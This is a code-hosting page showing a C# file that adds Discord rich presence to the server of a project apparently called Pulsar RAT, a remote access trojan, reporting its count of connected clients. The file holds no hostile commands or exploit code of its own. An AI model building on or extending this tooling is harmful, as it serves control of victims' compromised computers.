Files
PulsarK-main/Pulsar.Server/DiscordRPC/DiscordRPC.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

131 lines
4.5 KiB
C#

using DiscordRPC;
using System;
using System.Diagnostics;
using System.Windows.Forms;
namespace Pulsar.Server.DiscordRPC
{
internal class DiscordRPC
{
private readonly Form _form;
private bool _enabled;
private DiscordRpcClient _client;
private Timer _updateTimer; // Made timer a field for proper cleanup
private readonly string _applicationId = "1351391347491344445";
public DiscordRPC(Form form)
{
_form = form;
_enabled = false;
_client = new DiscordRpcClient(_applicationId);
}
public bool Enabled
{
get { return _enabled; }
set
{
_enabled = value;
if (_enabled)
{
if (_client == null || _client.IsDisposed)
{
_client = new DiscordRpcClient(_applicationId);
Debug.WriteLine("Discord RPC Client recreated");
}
if (!_client.IsInitialized)
{
try
{
_client.Initialize();
Debug.WriteLine("Discord RPC Client Initialized");
}
catch (Exception ex)
{
Debug.WriteLine("Failed to initialize Discord RPC: " + ex.Message);
return;
}
}
try
{
_client.OnReady += (sender, e) =>
{
Debug.WriteLine("Discord RPC Ready for " + _form.Text);
};
SetPresence();
_updateTimer = new Timer();
_updateTimer.Interval = 5000; // 5 seconds
_updateTimer.Tick += (s, e) => SetPresence();
_updateTimer.Start();
Debug.WriteLine("Discord RPC Enabled for " + _form.Text);
}
catch (Exception ex)
{
Debug.WriteLine("Failed to set Discord presence: " + ex.Message);
}
}
else
{
if (_client != null && _client.IsInitialized)
{
try
{
_client.ClearPresence();
_client.Deinitialize();
if (_updateTimer != null)
{
_updateTimer.Stop();
_updateTimer.Dispose();
_updateTimer = null;
}
Debug.WriteLine("Discord RPC Disabled for " + _form.Text);
}
catch (Exception ex)
{
Debug.WriteLine("Failed to disable Discord RPC: " + ex.Message);
}
}
}
}
}
private int GetConnectedClientsCount()
{
try
{
string title = _form.Text;
const string marker = "Connected: ";
int markerIndex = title.IndexOf(marker);
if (markerIndex == -1)
return 0;
int startIndex = markerIndex + marker.Length;
int endIndex = title.IndexOf(" ", startIndex);
if (endIndex == -1)
endIndex = title.Length;
string countStr = title.Substring(startIndex, endIndex - startIndex);
return int.Parse(countStr);
}
catch
{
return 0;
}
}
private void SetPresence()
{
int connectedClients = GetConnectedClientsCount();
_client.SetPresence(new RichPresence
{
State = $"Connected Clients: {connectedClients}",
Assets = new Assets
{
LargeImageKey = "default",
LargeImageText = "Pulsar RAT"
},
Timestamps = new Timestamps { Start = DateTime.UtcNow }
});
}
}
}